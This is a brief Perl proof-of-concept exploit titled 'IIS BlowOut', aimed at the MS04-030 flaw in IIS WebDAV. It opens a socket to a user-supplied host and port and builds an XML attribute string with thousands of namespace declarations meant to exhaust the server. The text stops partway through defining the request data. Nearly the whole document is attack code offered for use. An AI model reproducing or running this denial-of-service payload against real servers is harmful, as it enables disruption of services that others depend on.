#!/usr/bin/perl
# IIS BlowOut
# POC exploit for MS04-030. Found by Amit Klein.
# incognito_ergo@yahoo.com
# usage: perl ms04-030_spl.pl host port
use IO::Socket;
$port = @ARGV[1];
$host = @ARGV[0];
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP");
for ($count=1; $count<9999; $count++) #more than nuff
{
$xmlatt = $xmlatt. "xmlns:z" . $count . "=\"xml:\" ";
}
$xmldata = "\r\n